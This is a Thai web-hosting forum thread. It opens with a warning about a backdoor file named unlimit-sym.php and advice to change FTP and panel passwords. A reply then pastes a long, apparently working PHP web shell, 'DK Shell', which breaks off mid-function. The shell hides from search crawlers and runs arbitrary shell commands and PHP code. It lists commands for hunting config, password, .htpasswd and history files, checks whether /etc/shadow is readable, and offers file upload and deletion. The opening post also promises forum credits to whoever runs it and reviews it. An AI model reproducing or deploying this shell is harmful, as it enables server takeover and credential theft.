Discuz Thai

 ลืมรหัสผ่าน
 สมัครสมาชิก

ข้อตกลงการใช้งานกระดานข่าวดิสคัสไทย DiscuzThai Agreement (English Version) ประกาศดิสคัสไทย - ทำเนียบดิสคัสภาษาไทย

Discuz! X3.5 Thai R20240520 Rev.9 (NEW) [วิดีโอช่วยสอน] อัปเกรด Discuz! X3.4 เป็น X3.5 Discord ของ Discuz! Thai Community อย่างเป็นทางการ

Discuz! X3.4 Thai R20220811 (REV.75) สิ้นสุดการสนับสนุน Discuz! X3.4 ภาษาไทยตั้งแต่วันนี้เป็นต้นไป (ขอแนะนำให้อัปเกรดเป็น X3.5 แทน)

ค้นหา
แท็กยอดนิยม: ดิสคัสภาษาไทย Discuz Thai
ดู: 5675|ตอบกลับ: 9

วันนี้คุณเช็กไฟล์ unlimit-sym.php ในเว็บหรือยัง

  [คัดลอกลิงก์]
jaideejung007 โพสต์ 2014-10-12 10:13:28 |โหมดอ่าน
มันเป็นไฟล์ Shell Backdoor ครับ และลิงก์ด้านล่างนี้คือไส้ในของมันครับ

(ใครลองแล้ว เอามาเขียนรีวิวการทำงานของมันได้ ผมจะพิจารณาโอนเครดิต Money และ Gold ให้ 500 เลยครับ)

http://paste.ofcode.org/bCpuiUk3KHQrbmshqz9HWv
http://codepad.org/CwsH07pC  (สำรอง)

ไปบังเอิญเจอในโฮสต์ของเพื่อนครับ ที่สำคัญ มันเข้ามาในโฮสต์ได้อย่างไร

ยิ่งไปกว่านั้น มันเข้ามาอยู่ในโฮสต์เพื่อนผมตั้งแต่เดือน กุมภาพันธ์ 57 นับรวมอายุได้ก็เกือบ 8 กว่าเดื่อน (เพิ่งจะรู้ตัว )

วันนี้ เลยให้สมาชิกทุกท่าน อย่าลืมเข้าไปตรวจสอบไฟล์ดังกล่าวในเว็บตัวเองนะครับ

คาดการณ์ว่า อาจจะมีจากสคริปต์ที่เราใช้ Nulled ต่างๆ หรือเครื่องของเราที่ใช้ FTP แล้วมีไวรัสในเครื่อง

ปล. อย่าลืม เปลี่ยนรหัสผ่านด้วยนะครับ ไม่ว่าจะเป็น FTP A/C, DirectAdmin A/C และอื่นๆ

คะแนน

จำนวนผู้เข้าร่วม 1จิตพิศัย +1 ย่อ เหตุผล
cholphan + 1 ทึ่ง

ดูบันทึกคะแนน

rokaisakkon โพสต์ 2014-10-17 23:51:44
การทำงานของมันคือ  เอาทุกอย่างที่เรามี   

  1. //
  2. //                                  DK Shell - Took the Best made it Better..!!
  3. //
  4. //
  5. //
  6. //Version 1.0
  7. //Created on 25/3/2012 by b47chguru
  8. $auth_pass = "688f6ed708f0cb08b5e39d5ff60b457b";         //password = dk
  9. $color = "#00FF66";        //Colour
  10. $default_action = "FilesMan";
  11. $default_charset = "Windows-1251";
  12. if( !empty($_SERVER['HTTP_USER_AGENT']) ) {
  13.     $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
  14.     foreach($userAgents as $agent)
  15.         if( strpos($_SERVER['HTTP_USER_AGENT'], $agent) !== false ) {
  16.             header('HTTP/1.0 404 Not Found');
  17.             exit;
  18.         }
  19. }
  20. $auth_pass2 = "0a159a8c4e71b95570f152181561e26e";
  21. @session_start();
  22. @error_reporting(0);
  23. @ini_set('error_log',NULL);
  24. @ini_set('log_errors',0);
  25. @ini_set('max_execution_time',0);
  26. @set_time_limit(0);
  27. @set_magic_quotes_runtime(0);
  28. @define('VERSION', ' beta version 1.0 by b47chguru');
  29. if( get_magic_quotes_gpc() ) {
  30.         function WSOstripslashes($array) {
  31.                 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
  32.         }
  33.         $_POST = WSOstripslashes($_POST);
  34. }
  35. function wsoLogin() {
  36.         die("<center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></center>");
  37. }
  38. if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
  39.         if( empty( $auth_pass ) ||
  40.                 ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass) ) )
  41.                 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  42.         else
  43.                 wsoLogin();

  44. if( strtolower( substr(PHP_OS,0,3) ) == "win" )
  45.         $os = 'win';
  46. else
  47.         $os = 'nix';
  48. $safe_mode = @ini_get('safe_mode');
  49. $disable_functions = @ini_get('disable_functions');
  50. $home_cwd = @getcwd();
  51. if( isset( $_POST['c'] ) )
  52.         @chdir($_POST['c']);
  53. $cwd = @getcwd();
  54. if( $os == 'win') {
  55.         $home_cwd = str_replace("\", "/", $home_cwd);
  56.         $cwd = str_replace("\", "/", $cwd);
  57. }
  58. if( $cwd[strlen($cwd)-1] != '/' )
  59.         $cwd .= '/';

  60. if($os == 'win')
  61.         $aliases = array(
  62.                 "List Directory" => "dir",
  63.             "Find index.php in current dir" => "dir /s /w /b index.php",
  64.             "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
  65.             "Show active connections" => "netstat -an",
  66.             "Show running services" => "net start",
  67.             "User accounts" => "net user",
  68.             "Show computers" => "net view",
  69.                 "ARP Table" => "arp -a",
  70.                 "IP Configuration" => "ipconfig /all"
  71.         );
  72. else
  73.         $aliases = array(
  74.                   "List dir" => "ls -lha",
  75.                 "list file attributes on a Linux second extended file system" => "lsattr -va",
  76.                   "show opened ports" => "netstat -an | grep -i listen",
  77.                 "Find" => "",
  78.                   "find all suid files" => "find / -type f -perm -04000 -ls",
  79.                   "find suid files in current dir" => "find . -type f -perm -04000 -ls",
  80.                   "find all sgid files" => "find / -type f -perm -02000 -ls",
  81.                   "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  82.                   "find config.inc.php files" => "find / -type f -name config.inc.php",
  83.                   "find config* files" => "find / -type f -name "config*"",
  84.                   "find config* files in current dir" => "find . -type f -name "config*"",
  85.                   "find all writable folders and files" => "find / -perm -2 -ls",
  86.                   "find all writable folders and files in current dir" => "find . -perm -2 -ls",
  87.                   "find all service.pwd files" => "find / -type f -name service.pwd",
  88.                   "find service.pwd files in current dir" => "find . -type f -name service.pwd",
  89.                   "find all .htpasswd files" => "find / -type f -name .htpasswd",
  90.                   "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  91.                   "find all .bash_history files" => "find / -type f -name .bash_history",
  92.                   "find .bash_history files in current dir" => "find . -type f -name .bash_history",
  93.                   "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  94.                   "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
  95.                 "Locate" => "",
  96.                   "locate httpd.conf files" => "locate httpd.conf",
  97.                 "locate vhosts.conf files" => "locate vhosts.conf",
  98.                 "locate proftpd.conf files" => "locate proftpd.conf",
  99.                 "locate psybnc.conf files" => "locate psybnc.conf",
  100.                 "locate my.conf files" => "locate my.conf",
  101.                 "locate admin.php files" =>"locate admin.php",
  102.                 "locate cfg.php files" => "locate cfg.php",
  103.                 "locate conf.php files" => "locate conf.php",
  104.                 "locate config.dat files" => "locate config.dat",
  105.                 "locate config.php files" => "locate config.php",
  106.                 "locate config.inc files" => "locate config.inc",
  107.                 "locate config.inc.php" => "locate config.inc.php",
  108.                 "locate config.default.php files" => "locate config.default.php",
  109.                 "locate config* files " => "locate config",
  110.                 "locate .conf files"=>"locate '.conf'",
  111.                 "locate .pwd files" => "locate '.pwd'",
  112.                 "locate .sql files" => "locate '.sql'",
  113.                 "locate .htpasswd files" => "locate '.htpasswd'",
  114.                 "locate .bash_history files" => "locate '.bash_history'",
  115.                 "locate .mysql_history files" => "locate '.mysql_history'",
  116.                 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
  117.                 "locate backup files" => "locate backup",
  118.                 "locate dump files" => "locate dump",
  119.                 "locate priv files" => "locate priv"
  120.         );

  121. function wsoHeader() {
  122.         if(empty($_POST['charset']))
  123.                 $_POST['charset'] = $GLOBALS['default_charset'];
  124.         global $color;
  125.         echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - D.K  shell" . VERSION ."</title>
  126. <style>
  127. body{background-color:#444;color:#e1e1e1;}
  128. body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
  129. table.info{ color:#fff;background-color:#222; }
  130. span,h1,a{ color: $color !important; }
  131. span{ font-weight: bolder; }
  132. h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
  133. div.content{ padding: 5px;margin-left:5px;background-color:#333; }
  134. a{ text-decoration:none; }
  135. a:hover{ text-decoration:underline; }
  136. .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
  137. .bigarea{ width:100%;height:250px; }
  138. input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
  139. form{ margin:0px; }
  140. #toolsTbl{ text-align:center; }
  141. .toolsInp{ width: 300px }
  142. .main th{text-align:left;background-color:#5e5e5e;}
  143. .main tr:hover{background-color:#5e5e5e}
  144. .l1{background-color:#444}
  145. pre{font-family:Courier,Monospace;}
  146. </style>
  147. <script>
  148.     var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
  149.     var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
  150.     var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
  151.     var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':addslashes(htmlspecialchars($_POST['p1']))) ."';
  152.     var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':addslashes(htmlspecialchars(@$_POST['p2']))) ."';
  153.     var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':addslashes(htmlspecialchars(@$_POST['p3']))) ."';
  154.         function set(a,c,p1,p2,p3,charset) {
  155.                 if(a != null)document.mf.a.value=a;else document.mf.a.value=a_;
  156.                 if(c != null)document.mf.c.value=c;else document.mf.c.value=c_;
  157.                 if(p1 != null)document.mf.p1.value=p1;else document.mf.p1.value=p1_;
  158.                 if(p2 != null)document.mf.p2.value=p2;else document.mf.p2.value=p2_;
  159.                 if(p3 != null)document.mf.p3.value=p3;else document.mf.p3.value=p3_;
  160.                 if(charset != null)document.mf.charset.value=charset;else document.mf.charset.value=charset_;
  161.         }
  162.         function g(a,c,p1,p2,p3,charset) {
  163.                 set(a,c,p1,p2,p3,charset);
  164.                 document.mf.submit();
  165.         }
  166.         function a(a,c,p1,p2,p3,charset) {
  167.                 set(a,c,p1,p2,p3,charset);
  168.                 var params = 'ajax=true';
  169.                 for(i=0;i<document.mf.elements.length;i++)
  170.                         params += '&'+document.mf.elements[i].name+'='+encodeURIComponent(document.mf.elements[i].value);
  171.                 sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
  172.         }
  173.         function sr(url, params) {
  174.                 if (window.XMLHttpRequest)
  175.                         req = new XMLHttpRequest();
  176.                 else if (window.ActiveXObject)
  177.                         req = new ActiveXObject('Microsoft.XMLHTTP');
  178.         if (req) {
  179.             req.onreadystatechange = processReqChange;
  180.             req.open('POST', url, true);
  181.             req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
  182.             req.send(params);
  183.         }
  184.         }
  185.         function processReqChange() {
  186.                 if( (req.readyState == 4) )
  187.                         if(req.status == 200) {
  188.                                 var reg = new RegExp("(\\\\d+)([\\\\S\\\\s]*)", 'm');
  189.                                 var arr=reg.exec(req.responseText);
  190.                                 eval(arr[2].substr(0, arr[1]));
  191.                         } else alert('Request error!');
  192.         }
  193. </script>
  194. <head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
  195. <form method=post name=mf style='display:none;'>
  196. <input type=hidden name=a>
  197. <input type=hidden name=c>
  198. <input type=hidden name=p1>
  199. <input type=hidden name=p2>
  200. <input type=hidden name=p3>
  201. <input type=hidden name=charset>
  202. </form>";
  203.         $freeSpace = @diskfreespace($GLOBALS['cwd']);
  204.         $totalSpace = @disk_total_space($GLOBALS['cwd']);
  205.         $totalSpace = $totalSpace?$totalSpace:1;
  206.         $release = @php_uname('r');
  207.         $kernel = @php_uname('s');
  208.         $millink = 'http://milw0rm.com/search.php?dong=';
  209.         if( strpos('Linux', $kernel) !== false )
  210.                 $millink .= urlencode( 'Linux Kernel ' . substr($release,0,6) );
  211.         else
  212.                 $millink .= urlencode( $kernel . ' ' . substr($release,0,3) );
  213.         if(!function_exists('posix_getegid')) {
  214.                 $user = @get_current_user();
  215.                 $uid = @getmyuid();
  216.                 $gid = @getmygid();
  217.                 $group = "?";
  218.         } else {
  219.                 $uid = @posix_getpwuid(@posix_geteuid());
  220.                 $gid = @posix_getgrgid(@posix_getegid());
  221.                 $user = $uid['name'];
  222.                 $uid = $uid['uid'];
  223.                 $group = $gid['name'];
  224.                 $gid = $gid['gid'];
  225.         }
  226.         $cwd_links = '';
  227.         $path = explode("/", $GLOBALS['cwd']);
  228.         $n=count($path);
  229.         for($i=0;$i<$n-1;$i++) {
  230.                 $cwd_links .= "<a href='#' onclick='g("FilesMan","";
  231.                 for($j=0;$j<=$i;$j++)
  232.                         $cwd_links .= $path[$j].'/';
  233.                 $cwd_links .= "")'>".$path[$i]."/</a>";
  234.         }
  235.         $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
  236.         $opt_charsets = '';
  237.         foreach($charsets as $item)
  238.                 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
  239.         $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','SafeMode'=>'SafeMode','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network','Symlink'=>'symlink');
  240.         if(!empty($GLOBALS['auth_pass']))
  241.                 $m['Logout'] = 'Logout';
  242.         $m['Self remove'] = 'SelfRemove';
  243.         $menu = '';
  244.         foreach($m as $k => $v)
  245.                 $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
  246.         $drives = "";
  247.         if ($GLOBALS['os'] == 'win') {
  248.                 foreach( range('c','z') as $drive )
  249.                 if (is_dir($drive.':\\'))
  250.                         $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
  251.         }
  252.         echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'').'</span></td>'.
  253.                  '<td><nobr>'.substr(@php_uname(), 0, 120).'  <a href="http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[Google]</a> <a href="'.$millink.'" target=_blank>[milw0rm]</a><a href=# onclick="g(\'about\',null,null,null,\'null\')"> [About] </a></nobr><br>'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( '.$group.' )<br>'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.wsoViewSize($totalSpace).' <span>Free:</span> '.wsoViewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>'.$cwd_links.' '.wsoPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'.
  254.                  '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets.'</optgroup></select><br><span>Server IP:</span><br>'.@$_SERVER["SERVER_ADDR"].'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'.
  255.                  '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div style="margin:5">';
  256. }

  257. function wsoFooter() {
  258.         $is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
  259.     echo "
  260. </div>
  261. <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>
  262.         <tr>
  263.                 <td><form onsubmit='g(null,this.c.value);return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
  264.                 <td><form onsubmit="g('FilesTools',null,this.f.value);return false;"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
  265.         </tr><tr>
  266.                 <td><form onsubmit="g('FilesMan',null,'mkdir',this.d.value);return false;"><span>Make dir:</span><br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form>$is_writable</td>
  267.                 <td><form onsubmit="g('FilesTools',null,this.f.value,'mkfile');return false;"><span>Make file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form>$is_writable</td>
  268.         </tr><tr>
  269.                 <td><form onsubmit="g('Console',null,this.c.value);return false;"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
  270.                 <td><form method='post' ENCTYPE='multipart/form-data'>
  271.                 <input type=hidden name=a value='FilesMAn'>
  272.                 <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
  273.                 <input type=hidden name=p1 value='uploadFile'>
  274.                 <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
  275.                 <span>Upload file:</span><br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form>$is_writable</td>
  276.         </tr></table></div></body></html>";
  277. }

  278. if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
  279. if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
  280. function wsoEx($in) {
  281.         $out = '';
  282.         if(function_exists('exec')) {
  283.                 @exec($in,$out);
  284.                 $out = @join("\n",$out);
  285.         }elseif(function_exists('passthru')) {
  286.                 ob_start();
  287.                 @passthru($in);
  288.                 $out = ob_get_clean();
  289.         }elseif(function_exists('system')) {
  290.                 ob_start();
  291.                 @system($in);
  292.                 $out = ob_get_clean();
  293.         }elseif(function_exists('shell_exec')) {
  294.                 $out = shell_exec($in);
  295.         }elseif(is_resource($f = @popen($in,"r"))) {
  296.                 $out = "";
  297.                 while(!@feof($f))
  298.                         $out .= fread($f,1024);
  299.                 pclose($f);
  300.         }
  301.         return $out;
  302. }
  303. function wsoViewSize($s) {
  304.         if($s >= 1073741824)
  305.                 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  306.         elseif($s >= 1048576)
  307.                 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  308.         elseif($s >= 1024)
  309.                 return sprintf('%1.2f', $s / 1024 ) . ' KB';
  310.         else
  311.                 return $s . ' B';
  312. }

  313. function wsoPerms($p) {
  314.         if (($p & 0xC000) == 0xC000)$i = 's';
  315.         elseif (($p & 0xA000) == 0xA000)$i = 'l';
  316.         elseif (($p & 0x8000) == 0x8000)$i = '-';
  317.         elseif (($p & 0x6000) == 0x6000)$i = 'b';
  318.         elseif (($p & 0x4000) == 0x4000)$i = 'd';
  319.         elseif (($p & 0x2000) == 0x2000)$i = 'c';
  320.         elseif (($p & 0x1000) == 0x1000)$i = 'p';
  321.         else $i = 'u';
  322.         $i .= (($p & 0x0100) ? 'r' : '-');
  323.         $i .= (($p & 0x0080) ? 'w' : '-');
  324.         $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
  325.         $i .= (($p & 0x0020) ? 'r' : '-');
  326.         $i .= (($p & 0x0010) ? 'w' : '-');
  327.         $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
  328.         $i .= (($p & 0x0004) ? 'r' : '-');
  329.         $i .= (($p & 0x0002) ? 'w' : '-');
  330.         $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
  331.         return $i;
  332. }
  333. function wsoPermsColor($f) {
  334.         if (!@is_readable($f))
  335.                 return '<font color=#FF0000>'.wsoPerms(@fileperms($f)).'</font>';
  336.         elseif (!@is_writable($f))
  337.                 return '<font color=white>'.wsoPerms(@fileperms($f)).'</font>';
  338.         else
  339.                 return '<font color=#00BB00>'.wsoPerms(@fileperms($f)).'</font>';
  340. }
  341. if(!function_exists("scandir")) {
  342.         function scandir($dir) {
  343.                 $dh  = opendir($dir);
  344.                 while (false !== ($filename = readdir($dh))) {
  345.                     $files[] = $filename;
  346.                 }
  347.                 return $files;
  348.         }
  349. }
  350. function wsoWhich($p) {
  351.         $path = wsoEx('which '.$p);
  352.         if(!empty($path))
  353.                 return $path;
  354.         return false;
  355. }
  356. function actionSecInfo() {
  357.         wsoHeader();
  358.         echo '<h1>Server security information</h1><div class=content>';
  359.         function wsoSecParam($n, $v) {
  360.                 $v = trim($v);
  361.                 if($v) {
  362.                         echo '<span>'.$n.': </span>';
  363.                         if(strpos($v, "\n") === false)
  364.                                 echo $v.'<br>';
  365.                         else
  366.                                 echo '<pre class=ml1>'.$v.'</pre>';
  367.                 }
  368.         }

  369.         wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
  370.         wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
  371.         wsoSecParam('Open base dir', @ini_get('open_basedir'));
  372.         wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
  373.         wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
  374.         wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
  375.         $temp=array();
  376.         if(function_exists('mysql_get_client_info'))
  377.                 $temp[] = "MySql (".mysql_get_client_info().")";
  378.         if(function_exists('mssql_connect'))
  379.                 $temp[] = "MSSQL";
  380.         if(function_exists('pg_connect'))
  381.                 $temp[] = "PostgreSQL";
  382.         if(function_exists('oci_connect'))
  383.                 $temp[] = "Oracle";
  384.         wsoSecParam('Supported databases', implode(', ', $temp));
  385.         echo '<br>';

  386.         if( $GLOBALS['os'] == 'nix' ) {
  387.                 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  388.                 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  389.                 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  390.                 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g("FilesTools", "/etc/", "passwd")'>[view]</a>":'no');
  391.                 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g("FilesTools", "etc", "shadow")'>[view]</a>":'no');
  392.                 wsoSecParam('OS version', @file_get_contents('/proc/version'));
  393.                 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
  394.                 if(!$GLOBALS['safe_mode']) {
  395.                         echo '<br>';
  396.                         $temp=array();
  397.                         foreach ($userful as $item)
  398.                                 if(wsoWhich($item)){$temp[]=$item;}
  399.                         wsoSecParam('Userful', implode(', ',$temp));
  400.                         $temp=array();
  401.                         foreach ($danger as $item)
  402.                                 if(wsoWhich($item)){$temp[]=$item;}
  403.                         wsoSecParam('Danger', implode(', ',$temp));
  404.                         $temp=array();
  405.                         foreach ($downloaders as $item)
  406.                                 if(wsoWhich($item)){$temp[]=$item;}
  407.                         wsoSecParam('Downloaders', implode(', ',$temp));
  408.                         echo '<br/>';
  409.             wsoSecParam('HDD space', wsoEx('df -h'));
  410.                         wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
  411.                 }
  412.         } else {
  413.                 wsoSecParam('OS Version',wsoEx('ver'));
  414.                 wsoSecParam('Account Settings',wsoEx('net accounts'));
  415.                 wsoSecParam('User Accounts',wsoEx('net user'));
  416.         }
  417.         echo '</div>';
  418.         wsoFooter();
  419. }

  420. function actionPhp() {
  421.         if( isset($_POST['ajax']) ) {
  422.                 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  423.                 ob_start();
  424.                 eval($_POST['p1']);
  425.                 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  426.                 echo strlen($temp), "\n", $temp;
  427.                 exit;
  428.         }
  429.         wsoHeader();
  430.         if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
  431.                 echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
  432.                 ob_start();
  433.                 phpinfo();
  434.                 $tmp = ob_get_clean();
  435.         $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
  436.                 $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
  437.                 echo str_replace('h1','h2',$tmp).'</div><br>';
  438.         }
  439.         if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  440.                 @$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  441.                 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
  442.         echo ' <input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
  443.         if(!empty($_POST['p1'])) {
  444.                 ob_start();
  445.                 eval($_POST['p1']);
  446.                 echo htmlspecialchars(ob_get_clean());
  447.         }
  448.         echo '</pre></div>';
  449.         wsoFooter();
  450. }

  451. function actionFilesMan() {
  452.         wsoHeader();
  453.         echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
  454.         if(!empty($_POST['p1'])) {
  455.                 switch($_POST['p1']) {
  456.                         case 'uploadFile':
  457.                                 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
  458.                                         echo "Can't upload file!";
  459.                                 break;
  460.                         case 'mkdir':
  461.                                 if(!@mkdir($_POST['p2']))
  462.                                         echo "Can't create new dir";
  463.                                 break;
  464.                         case 'delete':
  465.                                 function deleteDir($path) {
  466.                                         $path = (substr($path,-1)=='/') ? $path:$path.'/';
  467.                                         $dh  = opendir($path);
  468.                                         while ( ($item = readdir($dh) ) !== false) {
  469.                                                 $item = $path.$item;
  470.                                                 if ( (basename($item) == "..") || (basename($item) == ".") )
  471.                                                         continue;
  472.                                                 $type = filetype($item);
  473.                                                 if ($type == "dir")
  474.                                                         deleteDir($item);
  475.                                                 else
  476.                                                         @unlink($item);
  477.                                         }
  478.                                         closedir($dh);
  479.                                         rmdir($path);
  480.                                 }
  481.                                 if(is_array(@$_POST['f']))
  482.                                         foreach($_POST['f'] as $f) {
  483.                                                 $f = urldecode($f);
  484.                                                 if(is_dir($f))
  485.                                                         deleteDir($f);
  486.                                                 else
  487.                                                         @unlink($f);
  488.                                         }
  489.                                 break;
  490.                         case 'paste':
  491.                                 if($_SESSION['act'] == 'copy') {
  492.                                         function copy_paste($c,$s,$d){
  493.                                                 if(is_dir($c.$s)){
  494.                                                         mkdir($d.$s);
  495.                                                         $h = @opendir($c.$s);
  496.                                                         while (($f = @readdir($h)) !== false)
  497.                                                                 if (($f != ".") and ($f != "..")) {
  498.                                                                         copy_paste($c.$s.'/',$f, $d.$s.'/');
  499.                                                                 }
  500.                                                 } elseif(is_file($c.$s)) {
  501.                                                         @copy($c.$s, $d.$s);
  502.                                                 }
  503.                                         }
  504.                                         foreach($_SESSION['f'] as $f)
  505.                                                 copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']);
  506.                                 } elseif($_SESSION['act'] == 'move') {
  507.                                         function move_paste($c,$s,$d){
  508.                                                 if(is_dir($c.$s)){
  509.                                                         mkdir($d.$s);
  510.                                                         $h = @opendir($c.$s);
  511.                                                         while (($f = @readdir($h)) !== false)
  512.                                                                 if (($f != ".") and ($f != "..")) {
  513.                                                                         copy_paste($c.$s.'/',$f, $d.$s.'/');
  514.                                                                 }
  515.                                                 } elseif(@is_file($c.$s)) {
  516.                                                         @copy($c.$s, $d.$s);
  517.                                                 }
  518.                                         }
  519.                                         foreach($_SESSION['f'] as $f)
  520.                                                 @rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f);
  521.                                 } elseif($_SESSION['act'] == 'zip') {
  522.                                         if(class_exists('ZipArchive')) {
  523.                         $zip = new ZipArchive();
  524.                         if ($zip->open('wso_'.date("Ymd_His").'.zip', (int)@eval('return ZIPARCHIVE::CREATE;'))) {
  525.                             chdir($_SESSION['c']);
  526.                             foreach($_SESSION['f'] as $f) {
  527.                                 if(@is_file($_SESSION['c'].$f))
  528.                                     $zip->addFile($_SESSION['c'].$f, $f);
